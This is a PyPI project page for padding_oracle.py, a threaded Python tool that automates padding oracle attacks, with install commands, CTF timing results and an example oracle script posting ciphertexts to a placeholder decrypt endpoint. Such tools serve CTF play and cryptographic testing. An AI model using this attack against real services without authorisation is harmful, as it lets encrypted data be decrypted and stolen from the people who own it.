Skip to main content

Threaded padding oracle automation.

Project description

padding_oracle.py

Extremely fast threaded padding oracle automation script for Python 3.

Install

Installing from PyPI:

pip3 install -U padding_oracle

Or, installing from GitHub:

pip3 install -U git+https://github.com/djosix/padding_oracle.py.git

Performance

Tested on [0x09] Cathub Party from EDU-CTF:

Request Threads Execution Time
1 17m 43s
4 5m 23s
16 1m 20s
64 56s

Example

All you need is defining the oracle function to check whether the given cipher is correctly decrypted.

#!/usr/bin/env python3

import requests, logging
from padding_oracle import *

url = 'http://some-website.com/decrypt'
sess = requests.Session()

def oracle(cipher):
    r = sess.post(url, data={'cipher': base64_encode(cipher)})
    assert 'SUCCESS' in r.text or 'FAILED' in r.text
    return 'SUCCESS' in r.text

cipher = b'[______IV______][___Block_1____][___Block_2____]'
block_size = 16
num_threads = 64

plaintext = padding_oracle(cipher, block_size, oracle, num_threads, log_level=logging.DEBUG)

print(remove_padding(plaintext).decode())

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Files for padding-oracle, version 0.1.0
Filename, size File type Python version Upload date Hashes
Filename, size padding_oracle-0.1.0-py3-none-any.whl (5.9 kB) File type Wheel Python version py3 Upload date Hashes View
Filename, size padding_oracle-0.1.0.tar.gz (4.0 kB) File type Source Python version None Upload date Hashes View

Supported by

Pingdom Pingdom Monitoring Google Google Object Storage and Download Analytics Sentry Sentry Error logging AWS AWS Cloud computing DataDog DataDog Monitoring Fastly Fastly CDN DigiCert DigiCert EV certificate StatusPage StatusPage Status page